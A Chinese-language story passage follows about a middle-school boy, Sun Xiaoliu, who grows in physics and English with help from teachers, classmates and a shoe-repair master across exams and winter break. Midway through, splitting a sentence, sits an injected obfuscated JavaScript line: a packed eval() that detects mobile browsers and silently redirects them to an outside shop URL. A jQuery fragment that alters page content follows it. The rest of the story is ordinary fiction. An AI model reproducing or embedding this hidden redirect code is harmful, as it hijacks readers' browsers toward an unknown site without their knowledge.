期中考试，孙小六考了全班第十一名。物理七十一分，及格了，还多了十一分。
成绩单贴出来那天，周老师把他叫到办公室，从抽屉里拿出他的物理卷子。卷子上红叉少了很多，最后一道关于滑动变阻器的大题他全做对了。周老师没有表扬他，把卷子翻到背面，指着一道关于机械效率的计算题。那道题孙小六只得了两分，几乎是空白的。
“你上次浮力题不会，是因为手没感觉到。这道机械效率题不会，是因为你手感觉到了，但脑子没转过来。”周老师从抽屉里拿出一个滑轮，一段绳子，一个钩码。“滑轮组，省力不省功。你修鞋的时候，锥子扎皮子，扎深一厘多用一分力，扎浅一厘省一分力。但不管深浅，你扎进去这个动作做的功是一样的。”
孙小六看着周老师把绳子绕过滑轮，钩码挂上去，用手拉绳子的另一端。钩码升起来，周老师的手降下去。手降的距离是钩码升起来的两倍。
“你看。省了一半力，多走了一倍的路。功没变。力是手感觉到的，功是算出来的。你手上劲儿大，感觉不到省力。但你得知道，省下来的力，是用多走的路换的。”
孙小六把滑轮接过来，自己拉了一遍。钩码升起来，他的手降下去。降下去的距离确实是钩码的两倍。他拉着绳子，手感觉到钩码的重量被滑轮分走了一半，轻了。但手要走更长的路。他忽然想起自己每天上学走的那条巷子——从家到学校，穿巷子近，但路窄，走得慢。走大路远，但路宽，走得快。省了时间就费了脚力，省了脚力就费了时间。他以前没想过这也是物理。现在他知道了。不是物理书上的，是他自己的脚走出来的。
他把滑轮还给周老师。“功不变，就是换了个法子使力。”
周老师把滑轮收回抽屉里。抽屉里还有好多东西——弹簧测力计，砝码，小电机，导线，电池。他把抽屉推回去，看着孙小六。“你期中物理七十一。期末能上八十。不是因为你聪明，是因为你肯用手去想。”
十二月，初三上学期的最后一个月。城西中学的煤渣跑道被冻硬了，踩上去不再是嘎吱嘎吱的软响，变成了一种硬邦邦的、像踩在冻土上的声音。早晨的霜落在煤渣上，白白的，薄薄一层，被早到的学生踩成一片灰黑色的泥浆。老孙头的铜铃铛在冷空气里响得比平时更闷，像是铃铛里面的铜舌头也被冻住了，晃不开。
孙小六每天早上六点起来，先背半个小时的英语单词。他妈在厨房里煮粥，灶台上的水蒸气把整个厨房熏得白茫茫的。他坐在客厅的茶几边上，面前摊着英语课本，一个一个单词地抄。抄一遍英文，抄一遍中文，再用红笔把记不住的圈出来。圈出来的单词抄在一个小本子上，揣在口袋里，上学路上背。从家到学校，穿巷子走十五分钟，能背六七个单词。走到校门口的时候，他把小本子合上，在脑子里过一遍。想不起来的，翻开看一眼，再合上。记住了，才迈进校门。
陈浩在英语上帮了他很多。不是讲题，是抽背。每天早自习前五分钟，陈浩从后排走过来，拿过孙小六的小本子，抽十个单词。念中文，让孙小六拼英文。拼对一个，陈浩点一下头。拼错了，他把本子放回孙小六桌上，说一个“再看”。没有责怪，没有鼓励。就是“再看”。然后第二天再抽那一个。抽到拼对为止。
孙小六拼错最多的是“different”。他总是把中间的e写成a，写成“diffarent”。错了三次。第四次，他在小本子上把“different”抄了二十遍。抄到第十五遍的时候，他的手忽然停住了——这个单词里有两个e，两个f，位置对称。e-f-f-e。中间对称。他修鞋的时候，鞋底和鞋面的接缝也是对称的。鞋头转弯的地方，针脚要顺着弯走，两边的针数一样多，鞋面才不会拧着。他把这个发现告诉了陈浩。陈浩想了想，说，“business”也是，中间有个“s”，两边对称。两个人把小本子上的单词翻了一遍，找出了十几个两边对称的单词。从那以后，孙小六再也没拼错过“different”。
期末考试前一周，林宇的物理模拟卷考了五十六分。差四分及格。他把卷子折好，放进口袋里，一整天没怎么说话。放学以后，他蹲在煤渣跑道边上，用树枝在煤渣上画电路图。画了一遍又一遍，画到天黑。煤渣上的线被风吹散了，他就再画。
孙小六走过去，蹲在他旁边。“卡在哪儿了。”
林宇把树枝戳在滑动变阻器上。“滑片往左往右，电流变大变小，我都懂了。但题目一换，换成生活中的电路，我就不会了。台灯调光，电风扇调速。我不知道滑片在哪儿。”
孙小六从他手里接过树枝。在煤渣上画了一盏台灯。灯座里藏着滑动变阻器，旋钮连着滑片。旋钮往右拧，滑片往左移，电阻变小，电流变大，灯变亮。“你家的台灯，你拆开看过吗。”
“没有。”
“我也没拆过。但蒋师傅修过一台。旋钮里面就是滑动变阻器。滑片跟旋钮连在一起，拧旋钮就是移滑片。你下次去修鞋摊，让蒋师傅给你看。”
期末考试，孙小六考了全班第八名。物理八十三分，英语八十五，数学七十七。总分五百分出头。
成绩单贴出来那天，下了一场小雪。雪花落在煤渣跑道上，把黑色的煤渣染成了一种斑斑驳驳的灰白色。孙小六站在成绩单前面，从前往后数。第八个名字，孙小六。他看了两遍，确认没看错。
林宇考了第二十五名。物理六十一分，及格了。他在成绩单前面站了很久，把“六十一”这个数字看了好几遍。然后转过身，冲孙小六咧了一下嘴。雪落在他头发上，他也不拍。“我及格了。”他说这四个字的时候，声音不大，像是说给自己听的。
陈浩考了第六名。英语七十一分，进步了九分。他看完自己的英语成绩，把成绩单上孙小六的物理分数看了一眼，没说话，走了。走到教室门口的时候，回过头，冲孙小六竖了一下拇指。很短的一下，然后手就插回口袋里了。
寒假开始的前一天，郭老师把全班同学留了五分钟。她站在讲台上，手里没有拿教案，也没有拿粉笔。两只手撑着讲台边缘，看着底下四十几个学生。日光灯嗡嗡响着，窗外的雪越下越大，落在煤渣跑道上，已经把整条跑道盖成了一片干干净净的白。
“你们初三上完了。还剩一个寒假，一个学期。寒假不是让你们歇着的，是让你们补短的。哪一科短，就往哪一科使劲。别平均使劲，平均使劲哪一科都上不去。”她把目光从全班收回来，落在几个人身上。孙小六，陈浩，林宇。“你们几个，我知道你们在想什么。想考出去，想上高中，想让家里少操点心。想没有用。做才有用。”
她说完，拿起粉笔在黑板上写了两个字——“使劲”。粉笔断了一下，她捡起来继续写。“使劲”两个字端端正正地待在黑板上，像两个并排站着的人。然后她拍了拍手上的粉笔灰，走了。
寒假第一天，孙小六去了修鞋摊。
蒋师傅的炭炉生得很旺。红色的炭火在炉膛里闷着烧，把遮阳伞底下的雪都烤化了，伞底下湿了一圈。老太太坐在小马扎上，手里剥着一颗蒜，剥得很慢。搪瓷碗里的蒜瓣攒了小半碗，在炭火的光里亮晶晶的。
孙小六在塑料桶上坐下来，从书包里掏出寒假作业。数学，英语，物理，化学。四本摞在一起。他把物理摊开，翻到寒假作业最后几页——那里有一套模拟卷，是周老师额外印的，不是学校发的，是他自己从教研室找来的历年中考题。只有六道大题，每道题占半页纸，题目后面跟着一大片空白。周老师说，这套卷子，做完，改错，再重做。三遍。做够三遍，中考物理大题就稳了。
孙小六把卷子摊在膝盖上，从笔套里抽出圆珠笔。第一道大题是浮力与密度的综合计算。一个木块浮在水面上，一部分体积露出水面，求木块的密度。他读完题，在草稿纸上画了一个木块，标上浸入水中的体积和露出水面的体积。笔尖点在“漂浮”两个字上——漂浮，重力等于浮力。他在旁边写下公式。手感觉到过浮力。钥匙浸在水里，橡皮筋变短。水往上托的劲儿，他的手记得。他把公式展
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510472|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开，代入数值，一步一步算下去。算到木块密度的时候，得出了一个数字。零点六乘以十的三次方千克每立方米。他看了看这个数字，又看了看题目给的水的密度——一点零乘以十的三次方。木块密度是水的零点六倍，所以百分之六十的体积浸在水里。对得上。
他没有急着做下一道，把这道题的解题步骤重新捋了一遍。每一步旁边都用红笔标着这一步在干什么——受力分析，列平衡方程，代入密度公式，解方程。标完以后，他在题目旁边的空白处写了两个字：“漂浮=重力=浮力。”字很小，挤在题目边上。
蒋师傅从他肩膀上看着那张卷子。看了一会儿，把搪瓷杯拿起来喝了一口。“你做的这个，跟修鞋换底是一回事。鞋底磨偏了，往哪边偏，就垫哪边。偏多少，垫多少。多了挤脚，少了不顶用。算的就是那个刚刚好的数。”
孙小六抬头看着他。蒋师傅的搪瓷杯口冒着热气，把他的脸罩在一层白雾后面。“蒋师傅，你修鞋的时候算过数吗。”
“不算。手知道。”他把搪瓷杯放下。“但你不一样。你的手知道，脑子也得知道。脑子知道了，手就能教别人了。我的师傅没教过我算数，我也没教过你。你以后可以教别人。”
孙小六低下头，继续做第二道大题。
寒假最后一周，孙志远带回来一个消息。仓库的副主管转正了，不是“副”了，是主管。工资涨了八百。他把这个消息告诉李婉的时候，正蹲在阳台上给绿萝换水。绿萝的藤蔓爬满了整个阳台栏杆，最长那几根已经垂到三楼窗台了，在冬天的风里晃着。李婉蹲在他旁边，把矿泉水瓶子里的水一点一点浇进搪瓷盆里。水从瓶口流出来，细细的，落在水面上，激出一圈一圈的涟漪。
“主管管多少人。”她问。
“十二个。”孙志远把一根垂得太长的藤蔓往回拢了拢。“老赵老刘他们还叫我小孙。我说叫老孙吧。他们笑，说等你头发白了再叫老孙。”
李婉也笑了。她把矿泉水瓶子放在花盆边上，站起来，拍了拍膝盖上的灰。“小六开学就初三下学期了。高中得住校。得住校的话，得买一床新被子。”
她说这话的时候，语气跟说“晚上吃馒头”是一样的。不轻不重，不多不少。像在说一件一定会发生的事。
孙小六在房间里听见了。他坐在书桌前，墙上那块纸板已经记满了大半张。从去年九月到今年一月，每一双修过的鞋都记在上面。纸板的最底下，他新写了一行字——“寒假，浮力题三遍，会了。”字很小，挤在纸板边缘。
他把圆珠笔插回笔套里，看着那行字。窗外，冬天的风把槐树的枝丫吹得呜呜响。枝丫上光秃秃的，芽点鼓着，被褐色的鳞片包着。春天还早。但芽点在。
寒假结束前最后一天，孙小六去了陈浩家。
老太太坐在门廊底下，腿上盖着那条旧棉被。手里剥着蒜，剥得很慢。搪瓷碗里的蒜瓣攒了大半碗了。她看见孙小六，把手伸进口袋里，摸出来的不是糖，是一张照片。照片是黑白的，边缘裁成波浪形花边。照片上，一个年轻女人和一个年轻男人站在槐树底下。槐树很细，枝丫上挂着几片叶子。和蒋师傅相框里那张是同一天拍的。
“浩浩他爷爷，年轻的时候。”她把照片放在孙小六手里。“浩浩说你要考高中了。考高中好。他爷爷要是活到浩浩考高中，不知道多高兴。”她的手放在膝盖上，手指微微蜷着。“你考上高中那天，替我在这棵槐树底下烧一炷香。不用真烧，心里烧就行。他听得见。”
孙小六把照片还给她。她接过去，用袖口擦了擦照片表面，然后放回口袋里。手在口袋里停了一下，又摸出来一样东西——一颗蒜。蒜瓣上刻着一个“六”字，跟去年那颗一模一样。“六”的那一捺拖得很长，刻的人刻到那里的时候刀滑了一下。
“今年新刻的。去年那颗你留着，这颗也留着。”她把蒜放在孙小六手心里。“两颗了。”
孙小六把蒜攥在手里。蒜瓣凉凉的，刻痕硌着掌心。他把蒜放进口袋里，挨着火柴盒。